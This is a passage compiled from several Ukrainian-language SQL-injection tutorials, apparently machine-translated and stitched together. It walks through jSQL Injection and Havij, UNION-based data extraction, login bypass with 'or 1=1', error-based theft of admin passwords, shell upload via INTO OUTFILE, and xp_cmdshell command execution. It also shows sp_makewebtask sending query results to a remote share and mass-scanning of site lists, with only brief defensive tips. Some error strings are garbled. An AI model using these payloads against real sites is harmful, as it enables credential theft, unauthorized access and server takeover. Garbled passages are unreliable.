Запустіть завантажений файл подвійним кліком (потрібно мати віртуальну машину).

3. Анонімність під час перевірки сайту на SQL-ін'єкції

Налаштування Tor і Privoxy у Kali Linux

[Розділ у розробці]

Налаштування Tor та Privoxy у Windows

[Розділ у розробці]

Налаштування роботи через проксі в jSQL Injection

[Розділ у розробці]

4. Перевірка сайту на SQL-ін'єкції з jSQL Injection

Робота з програмою вкрай проста. Достатньо ввести адресу сайту та натиснути ENTER.

На наступному скріншоті видно, що сайт вразливий відразу до трьох видів SQL-ін'єкцій (інформація про них вказана в нижньому правому кутку). Клікаючи на назви ін'єкцій можна переключити використовуваний метод:

Також нам вже виведено наявні бази даних.

Можна переглянути вміст кожної таблиці:

Зазвичай найцікавішим у таблицях є облікові дані адміністратора.

Якщо вам пощастило і ви знайшли дані адміністратора, то радіти рано. Потрібно ще знайти адмінку, куди ці дані вводити.

5. Пошук адмінок з jSQL Injection

Для цього переходьте до наступної вкладки. Тут нас зустрічає перелік можливих адрес. Ви можете вибрати одну або кілька сторінок для перевірки:

Зручність у тому, що не потрібно використовувати інші програми.

На жаль, недбайливих програмістів, які зберігають паролі у відкритому вигляді, не дуже багато. Досить часто в рядку пароля ми бачимо щось на зразок

8743b52063cd84097a65d1633f5c74f5

Це хеш. Розшифрувати його можна брутфорсом. І… jSQL Injection має вбудований брутфорсер.

6. Брутфорсинг хешей за допомогою jSQL Injection

Безсумнівною зручністю є те, що не потрібно шукати інші програми. Тут є підтримка багатьох найпопулярніших хешей.

Це не найоптимальніший варіант. Для того, щоб стати гуру у розшифровці хешей, рекомендується Книга « » російською мовою.

Але, звичайно, коли під рукою немає іншої програми або немає часу на вивчення, jSQL Injection із вбудованою функцією брут-форсу буде дуже доречним.

Існують настройки: можна задати які символи входять у пароль, діапазон довжини пароля.

7. Операції з файлами після виявлення SQL-ін'єкцій

Крім операцій з базами даних - їх читання та модифікація, у разі виявлення SQL-ін'єкцій можливе виконання таких файлових операцій:

  • читання файлів на сервері
  • вивантаження нових файлів на сервер
  • вивантаження шеллів на сервер

І все це реалізовано у jSQL Injection!

Є обмеження - у SQL-сервера мають бути файлові привілеї. У розумних системних адміністраторів вони відключені і доступу до файлової системи отримати не вдасться.

Наявність файлових привілеїв досить легко перевірити. Перейдіть до однієї із вкладок (читання файлів, створення шелла, завантаження нового файлу) і спробуйте виконати одну із зазначених операцій.

Ще дуже важливе зауваження – нам потрібно знати точний абсолютний шлях до файлу з яким ми будемо працювати – інакше нічого не вийде.

Подивіться на наступний скріншот:

На будь-яку спробу операції з файлом нам відповідають: No FILE privilege(Немає файлових привілеїв). І нічого тут вдіяти не можна.

Якщо натомість у вас інша помилка:

Problem writing into [назва_каталогу]

Це означає, що ви неправильно вказали абсолютний шлях, до якого потрібно записувати файл.

Для того щоб припустити абсолютний шлях, потрібно, як мінімум, знати операційну систему на якій працює сервер. Для цього перейдіть до вкладки Network.

Такий запис (рядок Win64) дає підстави нам припустити, що маємо справу з ОС Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Connection: Keep-Alive Метод: HTTP/1.1 200 OK Content-Length: 353 Date: Fri, 11 Dec 201 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Тут у нас якийсь із Unix (*BSD, Linux):

Transfer-Encoding: chunked Дата: Fri, 11 Dec 2015 11:57:02 GMT Метод: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

А тут у нас CentOS:

Метод: HTTP/1.1 200 OK Expires: Thu, 19 Nov 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Connection: keep-alive X-Cache-Lookup: MISS від t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

У Windows типовою папкою для сайтів є C:\Server\data\htdocs\. Але, насправді, якщо хтось «додумався» робити сервер на Windows, то, можливо, ця людина нічого не чула про привілеї. Тому розпочинати спроби варто прямо з каталогу C:/Windows/:

Як бачимо, все пройшло чудово з першого разу.

Але самі шелли jSQL Injection у мене викликають сумніви. Якщо є файлові привілеї, то ви можете завантажити що-небудь з веб-інтерфейсом.

8. Масова перевірка сайтів на SQL-ін'єкції

І навіть ця функція є у jSQL Injection. Все просто - завантажуєте список сайтів (можна імпортувати з файлу), вибираєте ті, які хочете перевірити і натискаєте відповідну кнопку для початку операції.

Висновок з jSQL Injection

jSQL Injection хороший, потужний інструмент для пошуку та подальшого використання знайдених на сайтах SQL-ін'єкцій. Його безперечні плюси: простота використання, вбудовані супутні функції. jSQL Injection може стати найкращим другом новачка під час аналізу веб-сайтів.

З недоліків я б наголосив на неможливості редагування баз даних (принаймні я цього функціоналу не знайшов). Як і всі інструменти з графічним інтерфейсом, до недоліків цієї програми можна приписати неможливість використання в скриптах. Проте деяка автоматизація можлива і в цій програмі завдяки вбудованій функції масової перевірки сайтів.

Програмою jSQL Injection користуватися значно зручніше, ніж sqlmap. Але sqlmap підтримує більше видів SQL-ін'єкцій, має опції для роботи з файловими брандмауерами і деякі інші функції.

Підсумок: jSQL Injection — найкращий друг хакера-початківця.

Довідку про цю програму в Енциклопедії Kali Linux ви знайдете на цій сторінці: http://kali.tools/?p=706

Вітаю тебе, читачу. Останнім часом, я захоплююся Web-безпекою, та й певною мірою робота пов'язана з цим. Т.к. я дедалі частіше став помічати теми на різних форумах, з проханням показати, як це все працює, вирішив написати статтю. Стаття буде розрахована на тих, хто не стикався з подібним, але хотів би навчитися. У мережі відносно багато статей на цю тематику, але для початківців вони складні. Я постараюся описати все зрозумілою мовою та докладними прикладами.

Передмова

Для того, щоб зрозуміти цю статтю, вам не надто знадобиться знання SQL-мови, а хоча б наявність хорошого терпіння і трохи мізків - для запам'ятовування.

Вважаю, що одного прочитання статті буде мало, т.к. нам потрібні живі приклади – як відомо практика, у процесі запам'ятовування, не буває зайвою. Тому ми писатимемо вразливі скрипти та тренуватимемося на них.

Що таке SQL ін'єкція?
Говорячи простою мовою - це атака на базу даних, яка дозволить виконати деяку дію, яка не планувалася творцем скрипту. Приклад із життя:

Батько написав у записці мамі, щоб вона дала Васі 100 рублів і поклав її на стіл. Переробивши це на жартівливий SQL мову, ми отримаємо:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі

Так як батько погано написав записку (Корявий почерк), і залишив її на столі, її побачив брат Васі - Петя. Петя, будучи хакером, дописав там «АБО Пете» і вийшов такий запит:
ДІСТАНЬ З гаманця 100 РУБЛІВ І ДАЙ ЇХ Васі АБО Петі

Мама прочитавши записку, вирішила, що Васі вона давала гроші вчора і дала 100 рублів Петі. Ось простий приклад SQL ін'єкції з життя:) Не фільтруючи дані (Мама ледве розібрала почерк), Петя добився профіту.

Підготовка
Для практики Вам знадобиться архів з вихідними скриптами цієї статті. Завантажте його та розпакуйте на сервері. Також імпортуйте базу даних та встановіть дані у файлі cfg.php

Пошук SQL injection

Як ви вже зрозуміли, ін'єкція з'являється з вхідних даних, які не фільтруються. Найпоширеніша помилка - це фільтрація передається ID. Ну грубо кажучи підставляти у всі поля лапки. Будь це GET/POST запит та навіть Cookie!

Числовий вхідний параметр
Для практики нам знадобиться скрипт index1.php. Як я вже говорив вище, підставляємо лапки в ID новини.

Т.к. у нас запит не має фільтрації:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Скрипт зрозуміє це як

SELECT * FROM news WHERE id=1"

І дасть нам помилку:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given в C:\WebServ\domains\sqlinj\index1.php on line 16

Якщо помилку не видало - можуть бути такі причини:

1.SQL ін'єкції тут немає - Фільтруються лапки, або просто стоїть перетворення на (int)
2.Відключено виведення помилок.

Якщо все ж таки помилку вивело - Ура! Ми знайшли перший вид ін'єкції SQL - Числовий вхідний параметр.

Строковий вхідний параметр

Запити надсилатимемо на index2.php. У даному файлі запит має вигляд:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Тут ми робимо вибірку новини на ім'я користувача, і знову ж таки - не фільтруємо.
Знову посилаємо запит із лапкою:

Видало помилку. Ок! Значить уразливість є. Для початку нам вистачить – приступимо до практики.

Приступаємо до дій

Трохи теорії

Напевно, Вам вже не терпиться витягти щось із цього, крім помилок. Для початку дізнайтеся, що знак " -- вважається коментарем у мові SQL.

УВАГА! Перед та після нього обов'язково повинні стояти прогалини. В URL вони передаються як %20

Все, що йде після коментаря - буде відкинуто.
SELECT * FROM news WHERE user="AlexanderPHP" - habrahabra

Виконається вдало. Можете спробувати це на скрипті index2.php, надіславши такий запит:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Вивчіть параметр UNION. У мові SQL ключове слово UNIONзастосовується об'єднання результатів двох SQL-запитів в єдину таблицю. Тобто, щоб витягнути щось нам потрібне з іншої таблиці.

Отримуємо з цього користь

Якщо параметр "Числовий", то в запиті нам не потрібно надсилати лапку і природно ставити коментар наприкінці. Повернемося до скрипту index1.php.

Звернімося до скрипту sqlinj/index1.php?id=1 UNION SELECT 1 . Запит до БД у нас виходить таким:
SELECT * FROM news WHERE id=1 UNION SELECT 1
І він дав нам помилку, т.к. Для роботи з поєднанням запитів, нам потрібна однакова кількість полів.

Т.к. ми не можемо вплинути на їх кількість у першому запиті, то нам потрібно підібрати їх кількість у другому, щоб воно дорівнювало першому.

Підбираємо кількість полів

Підбір полів робиться дуже просто, достатньо надсилати такі запити:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Помилка…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Знову помилка!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Помилки нема! Значить кількість стовпців дорівнює 5.

GROUP BY
Найчастіше буває, що полів може бути 20 або 40 або навіть 60. Щоб нам щоразу не перебирати їх, використовуємо GROUP BY

Якщо запит
sqlinj/index1.php?id=1 GROUP BY 2
не видав помилок, значить кількість полів більше 2. Пробуємо:

Sqlinj/index1.php?id=1 GROUP BY 8
Оп, бачимо помилку, означає кількість полів менше 8.

Якщо при GROUP BY 4 немає помилки, а при GROUP BY 6 - помилка, Значить кількість полів дорівнює 5

Визначення стовпців, що виводяться
Для того, щоб з першого запиту нам нічого не виводилося, достатньо підставити неіснуючий ID, наприклад:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Цією дією ми визначили, які стовпці виводяться на сторінку. Тепер, щоб замінити ці цифри на потрібну інформацію, потрібно продовжити запит.

Виведення даних

Допустимо ми знаємо, що ще існує таблиця usersв якій існують поля id, nameі pass.
Нам потрібно отримати інформацію про користувача з ID=1

Отже побудуємо такий запит:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Скрипт також продовжує виводити

Для цього ми підставимо назву полів за місце цифр 1 і 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Отримали те - що потрібно!

Для «рядкового вхідного параметра», як у скрипті index2.phpпотрібно додавати лапку на початку та знак коментаря в кінці. Приклад:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Читання/Запис файлів

Для читання та запису файлів, у користувача БД повинні мати право FILE_PRIV.
Записування файлів
Насправді, все дуже просто. Для запису файлу ми будемо використовувати функцію OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Добре, файл у нас записався. Таким чином, ми можемо залити міні-шелл:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Читання файлів
Читання файлів робиться набагато легше, ніж запис. Достатньо просто використовувати функцію LOAD_FILE, за місце того поля, яке ми вибираємо:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Таким чином, ми прочитали попередній записаний файл.

Способи захисту

Захиститись ще простіше, ніж використовувати вразливість. Просто фільтруйте дані. Якщо Ви передаєте числа, використовуйте
$id = (int) $_GET["id"];
Як підказав користувач malroc. Захищатись використанням PDO або prepared statements.

Замість завершення

На цьому хочу закінчити свою першу частину про "SQL injection для початківців". У другій ми розглянемо важчі приклади ін'єкцій. Спробуйте самі писати вразливі скрипти і виконувати запити.
І запам'ятайте, не довіряйте жодному користувачеві вашого сайту.

SQL Injection для чайників, злом ASP+MSSQL

Alexander Antipov

Ця стаття не містить нових істин, SQL injection широко описаний і повсюдно використовується. Стаття більше призначена для новачків, але, можливо, і професіонали зможуть знайти один-два нові хитрощі.


Ця стаття призначена для того, щоб допомогти новачкам впоратися з проблемами, з якими вони можуть зіткнутися під час використання техніки SQL Injection, успішно використовувати її та вміти захистити себе від подібних нападів.

Вступ

Коли у сервера, що цікавить, відкритий тільки 80 порт, і сканер уразливостей не може повідомити нічого цікавого, і ви знаєте, що системний адміністратор завжди дуже оперативно встановлює всі латки на web-сервер, останнім нашим шансом залишається web-злом. SQL injection - один з типів web-злому, які використовують лише 80 портів, і може спрацювати, навіть при своєчасно встановлених латках. Цей напад більш спрямований на web-додатки (типу ASP, JSP, PHP, CGI тощо), ніж безпосередньо на web-сервер або сервіси в ОС.

Ця стаття не містить нових істин, SQL injection широко описаний і повсюдно використовується. Стаття більше призначена для новачків, але, можливо, і професіонали зможуть знайти один-два нові хитрощі. Також рекомендую переглянути наведені наприкінці статті посилання для отримання більш детальної інформації від фахівців у цій галузі.

1.1 Що таке SQL Injection?

SQL Injection – метод, призначений для введення SQL запитів/команд через web-сторінки. Багато веб-сторінок використовують параметри, представлені Web користувачам, і роблять SQL запит бази даних. Візьмемо для прикладу випадок з логіном користувача, коли є web-сторінка з ім'ям та паролем і виконується SQL запит у базі даних, для здійснення перевірки, чи є зареєстрований користувач з таким ім'ям та паролем. З використанням SQL Injection можна надіслати придумане ім'я користувача та/або поле пароля, що змінює SQL запит, що може надати нам щось цікаве.

2.0 Що ми маємо шукати

Спробуйте знайти сторінки, які запитують дані, наприклад сторінка пошуку, обговорень, і т.д. Іноді html сторінки використовують метод POST, щоб надіслати команди іншій Web сторінці. У цьому випадку ви не побачите параметри URL. Однак, у цьому випадку ви можете шукати тег "FORM" у вихідному коді HTML сторінок. Ви знайдете щось таке:



Усі параметри між

і
потенційно можуть бути вразливими до введення SQL коду.

2.1 Що, якщо ви не знайшли сторінку, яка використовує введення?

Пошукайте сторінки, подібно до ASP, JSP, CGI, або PHP Web сторінок. Спробуйте знайти сторінки, які використовують параметри, як:

3.0. Як мені перевірити, що те, що я знайшов, вразливе?

Спробуйте почати з одиночної лапки. Введіть наступний рядок:

hi" or 1=1--

у полі ім'я користувача або пароль, або навіть в URL параметрі. Приклад:

Login: hi" or 1=1--
Pass: hi" or 1=1--
http://duck/index.asp?id=hi" or 1=1--

Якщо ви робили це із прихованим полем, тільки завантажте вихідний HTML, збережіть його на жорсткому диску, змініть URL та приховане поле відповідно. Приклад:



Якщо удача на вашому боці, ви увійдете до системи без імені чи пароля.

3.1 Але чому " or 1=1--?

Давайте розглянемо інший приклад, який пояснює корисність конструкції " or 1=1-- . Крім обходу реєстрації, також можна розглянути додаткову інформацію, яка зазвичай не доступна. Розглянемо asp сторінку, яка посилається на іншу сторінку з наступним URL:

http://duck/index.asp?category=food

В URL, "category" – це ім'я змінної, та "food" – значення, призначене цією змінною. Щоб це зробити, asp сторінка може містити наступний код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

як видно, наша змінна буде об'єднана з v_cat і таким чином SQL запит має стати:

SELECT * FROM product WHERE PCategory="food"

Цей запит повинен повернути набір, що містить один або більше рядків, які відповідають умові WHERE, у цьому випадку "food". Тепер змінимо URL наступним чином:

http://duck/index.asp?category=food" or 1=1--
SELECT * FROM product WHERE PCategory="food" or 1=1--

Цей запит поверне всі рядки в таблиці product, незалежно від того, Pcategory дорівнює "food" чи ні. Подвійна рисочка "-" повідомляє, що MS SQL сервер ігнорує решту запиту, яка слідує за одиночною лапкою ("). Іноді можна замінити подвійну рису на діез "#".

Однак, якщо використовується не SQL сервер, або ви не можете ігнорувати решту запиту, спробуйте:

" or "a"="a

Тепер SQL запит стане:

SELECT * FROM product WHERE PCategory="food" або "a"="a"

Цей запит поверне той самий результат.

Залежно від фактичного SQL запиту, ймовірно, доведеться спробувати деякі з цих можливостей:

" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") або ("a"="a

4.0 Як можна дистанційно виконувати команди, використовуючи SQL injection?

Можливість вводити SQL команду зазвичай означає, що ми можемо виконувати запити SQL за бажанням. За замовчуванням інсталяція MS SQL Server виконується з системними правами. Ми можемо викликати вбудовані процедури типу master..xp_cmdshell для віддаленого виконання довільних команд:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Спробуйте використовувати подвійні лапки ("), якщо (") не спрацьовує.

Точка з комою закінчить поточний SQL запит та дозволить вам запускати нові SQL команди. Щоб перевірити, чи виконана команда успішно, ви можете перевірити ICMP пакети в 10.10.1.2, чи є в них якісь пакети з вразливого сервера:

http://сайт/?ID=31610

Якщо ви не отримали запит на утиліти ping від сервера, і отримуєте повідомлення про помилку, що вказує на помилку дозволу, можливо, що адміністратор обмежив доступ Web користувача до збережених процедур.

5.0 Як отримати результати мого запиту SQL?

Можна використовувати sp_makewebtask, щоб записати ваш запит у HTML:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Вказаний IP повинен мати папку "share" з доступом для Everyone.

6.0 Як отримати дані з бази даних, використовуючи повідомлення ODBC про помилки?

Ми можемо використовувати інформацію з повідомлення про помилку SQL SQL, щоб отримати будь-які дані. Наприклад, розглянемо наступну сторінку:

http://duck/index.asp?id=10

Тепер ми спробуємо об'єднати ціле '10' з іншим рядком у базі даних:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Системна таблиця INFORMATION_SCHEMA.TABLES містить інформацію про всі таблиці на сервері.

Поле TABLE_NAME, очевидно, містить ім'я кожної таблиці в базі даних. Вона була обрана, тому що ми знаємо, що вона завжди існує. Наш запит:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Цей запит поверне перше ім'я у базі даних. Коли ми UNION це рядкове значення до 10, MS SQL Server спробує перетворити рядок nvarchar до integer. Це викликає помилку, яка повідомить, що не може перетворити nvarchar до int. Сервер видасть таку помилку:


Syntax error здійснює nvarchar value "table1" to a column of data type int. !}
/index.asp, line 5

Повідомлення про помилку містить інформацію про значення, яке не може бути перетворене на ціле. У цьому випадку ми отримали ім'я першої таблиці - "table1".

Для отримання наступного імені таблиці ми можемо використовувати наступний запит:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Ми також можемо шукати дані, використовуючи ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider для ODBC Drivers error "80040e07" Syntax error здійснює nvarchar value "admin_login" to a column of data type int. !} /index.asp, line 5

Відповідна конструкція %25login%25 буде замінена на %login% в SQL сервері. У цьому випадку ми отримаємо ім'я таблиці, яка відповідає критерію "admin_login".

6.1 Як дізнатися всі імена стовпців у таблиці?

Ми можемо використовувати таблицю INFORMATION_SCHEMA.COLUMNS, щоб відобразити всі імена стовпців у таблиці:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Синтактний error converting the nvarchar value "login_id" to a column of data type int. !}
/index.asp, line 5

Тепер, коли ми дізналися про перше ім'я стовпця, ми можемо використовувати NOT IN(), щоб отримати ім'я наступного стовпця:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Syntax error здійснює nvarchar value "login_name" to a column of data type int. !}
/index.asp, line 5

Продовжуючи, отримаємо інші імена стовпців, тобто. "password", "details", поки не отримаємо таку помилку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider для ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Як отримати потрібні нам дані?

Тепер, коли ми ідентифікували деякі важливі таблиці, ми можемо використовувати ту саму методику, щоб отримати інформацію з бази даних.

Давайте отримаємо перший login_name з таблиці "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Syntax error здійснює nvarchar value "neo" to a column of data type int. !}
/index.asp, line 5

Тепер ми знаємо, що є користувач admin з іменем входу в систему "neo". Нарешті ми можемо отримати пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Syntax error здійснює nvarchar value "m4trix" to a column of data type int. !}
/index.asp, line 5

Тепер ми зможемо увійти до системи як "neo" з паролем "m4trix".

6.3 Як отримати числове значення рядка?

Є обмеження у методі, описаному вище. Ми не зможемо отримати повідомлення про помилку, якщо спробуємо перетворити текст, який складається з числа (тільки символи між 0...9). Зараз ми опишемо отримання пароля "31173" у користувача "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Напевно ми отримаємо помилку "Page Not Found". Причина в тому, що пароль "31173" буде перетворено на число, перед UNION з цілим числом (у разі 10). Так як вийде правильний UNION вираз, SQL сервер не видасть повідомлення про помилку, і таким чином ми не зможемо отримати цифровий запис.

Щоб вирішити цю проблему, ми можемо додати до кінця числовий рядок з деякими літерами, щоб перетворення не пройшло. Змінений запит:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Ми просто використовуємо знак плюс (+) для того, щоб додати в кінець пароль з будь-яким текстом (ASSCII кодування для + + = 0x2b). Потім, ми додамо до кінця "%20morpheus" в фактичний пароль. Тому навіть якщо значення пароля "31173", він стане "31173 morpheus". Вручну викликаючи функцію convert(), намагаючись перетворити " 31173 morpheus" на ціле число, SQL Сервер видасть ODBC повідомлення про помилку:

Microsoft OLE DB Provider для ODBC Drivers error "80040e07"
Синтакта error converting the nvarchar value "31173 morpheus" to a column of data type int. !}
/index.asp, line 5

Тепер ми зможемо увійти до системи як "trinity" з паролем "31173".

7.0 Як модифікувати/вставити дані до бази даних?

Після того, як ми отримали імена всіх стовпцем у таблиці, ми зможемо оновити (UPDATE) або навіть вставити (INSERT) новий запис до таблиці. Наприклад, ми можемо змінити пароль для "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Щоб внести (INSERT) новий запис до бази даних:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Тепер ми зможемо увійти до системи як "neo" з паролем "newpas5".

8.0 Як уникнути SQL Injection?

Фільтруйте спеціальні символи у всіх рядках у:

Будь-яких даних, що вводяться користувачем
- URL параметрах
- Cookie

Для числових значень конвертуйте їх до integer, перед передачею їх до SQL запиту. Або використовуйте ISNUMERIC, щоб упевнитися це ціле число.

Запускайте SQL-сервер як непривілейований користувач.

Видаліть збережені процедури, що не використовуються: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Havij – це програма, яка служить для перевірки наявності вразливостей веб-сайтів. Найчастіше її використовують не зовсім за основним призначенням, а саме – для впровадження SQL-ін'єкцій. Саме через це інструмент найчастіше відносять до "хакерського" ПЗ.

Принцип роботи

За допомогою цієї програми можна здійснювати атаки на веб-сервіс з метою зміни SQL-виразу шляхом конкантенації. У разі успіху ін'єкція дозволяє модифікувати логіку виконання запиту користувача під власні потреби. Найчастіше під час атаки створюється просто відбиток (fingerprinting) БД, після чого з неї імпортуються необхідні дані, наприклад - база користувачів чи адміністраторський обліковий запис. За наявності вразливостей, недоброзичливець навіть може взаємодіяти з Back-end частиною веб-програми. Зокрема, подібне використання дозволяє домогтися можливості виконання потрібних команд на сервері або переглянути необхідні файли на стороні хоста.

Можливості

Havij дає можливість зберігати хеші паролів та дампи таблиці. Програма дозволяє виконувати різні типи ін'єкцій: error-based SQL injection, UNION query SQL injection, stacked queries SQL injection, time-based blind SQL injection, а також boolean-based blind SQL injection. Інструмент працює з HTTPS і підтримує різні типи СУБД: MSAccess, MySQL, Oracle, PostgreSQ і навіть Sybase. За потреби Havij може працювати в кілька потоків через проксі.

Синтаксис коду, що впроваджується, можна редагувати "руками". Також перед початком атаки дозволяється вибрати список шуканих ключових слів, стовпців таблиць або типів даних (наприклад - цілих чи дробових чисел).

У процесі роботи Havij веде докладний лог виконуваних операцій, які після завершення атаки зберігаються у папці з програмою. Інтерфейс програми досить інтуїтивний, а всі основні елементи управління тут вміщуються в одному вікні.

Ключові особливості

  • виконання SQL-ін'єкцій із потрібним синтаксисом;
  • підтримка різних варіантів застосування;
  • пошук вразливостей сайтів та додатків;
  • можливість роботи з різними типами СУБД;
  • підтримка протоколу HTTPS та проксі.

SQL Injectionдосить хороша можливість для хакера отримати
доступ до сервера. І при невеликому зусиллі він
таки його отримує 🙂

Coder inside

В даний час робота з базами даних підтримується
практично всіма мовами програмування, до яких можна віднести BASIC, C++, Java, PERL, PHP, Assembler і навіть JavaScript! А називаються ці програми ніяк інакше як СУБД – системи управління базами даних. Найчастіше бази даних застосовуються на вирішення фінансових завдань,
бухгалтерії, організації кадрів, але своє застосування вони знайшли в Інтернеті.

Бази даних часто використовують для написання WEB-додатків. Їх використання найбільш доречне для зберігання реєстраційних даних, ідентифікаторів сесій, організації пошуку, а також інших завдань, що потребують обробки більшого.
кількість даних. Для звернення до БД використовуються серверні технології: PHP, PERL, ASP тощо. Саме тут і починається найцікавіше. Коли на сервері
встановлені всі патчі, а брандмауер блокує всі порти крім 80-го або коли потрібна автентифікація для доступу до деяких даних, для злому хакер може використовувати SQL Injection. Суть цієї атаки полягає у використанні помилки на стику WEB технологій та SQL. Справа в тому, що багато web сторінки для обробки даних, формують спеціальний SQLзапит до БД Необережне використання цієї методики може призвести до досить цікавих результатів.

SQL Injection

Для пояснення атаки уявімо собі, що ти зайшов на сайт, щоб завантажити одну дуже важливу тулзу і з жахом помічаєш, що зробити це може тільки зареєстрований користувач, а реєстрація, звичайно ж, коштує грошей 🙂 Останні зароблені віддавати не хочеться, а без програми ніяк! Саме час згадати у тому як
звертатися до баз даних SQL. Наприклад, перевірка логіна та пароля, на PHP може мати такий вигляд:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

Я додав два коментарі, "AUTHENTICATION OK" - замість нього повинен
йти код, який виконається у тому випадку, якщо пароль та логін вірні. Інший "AUTHENTICATION ERROR" - місце, де буде описаний код, що виконується у разі їх неправильності. Якщо заповнити форму, запит вийде схожим на "http://www.server.com?login=user&password=31337", де www.server.com ім'я
сервера, до якого ми намагаємось підключитися. Ми знайшли те, що шукали, а тому знову повернемося до роботи SQL. Отже, якщо ви для авторизації повинні вказати логін та пароль, то сформований SQLзапит матиме такий вигляд:

SELECT * FROM users WHERE login="user" AND
password="31337"

Це означає приблизно таке: поверни мені всі записи з бази даних users, у яких логін "user", а пароль "31337". Якщо існує такий запис, то користувач зареєстрований, ну а якщо ні, то ні... Але за певних обставин все можна виправити. Мається на увазі ситуація, коли програма не перевіряє вміст переданих даних або перевіряє не повністю, на наявність SQLінструкції. У даному прикладі звіряються два поля login та password, але якщо в якості пароля вказати "31337" AND email=" [email protected]"(без подвійних лапок), то запит вийде вже трохи іншим:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email protected]"

І у разі існування поля email ця умова також буде перевірена. Якщо згадати основи булевої алгебри, то спадає на думку що крім операції "і" існує і "або", а оскільки їх використання підтримується SQL, можна вище
описаним способом додати умову, яка завжди повертає істину. Для здійснення даного необхідно в якості логіну вказати "user" OR 1=1--", в такому випадку запит набуде вигляду:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

Спочатку слід знати, що "--" означає кінець запиту, і все після "--"
оброблятись не буде! Виходить, наче ми запитали:

SELECT * FROM users WHERE login="user" OR 1=1

Як ви бачите, ми додали умову "1=1", значить критерієм перевірки буде "якщо логін "user" або 1=1", але ж 1 завжди дорівнює 1 (виключенням може бути лише арифметика Дані Шеповалова:)). Щоб перевірити наші підозри
забиваємо в адресному рядку "http://www.server.com?login=user or 1=1--&password=31337". Це призводить до того, що не відіграє ролі який саме логін ми вказали, а
тим більше пароль! І ми в матрі ... ой, в системі і можемо спокійно качати те, що нам необхідно.

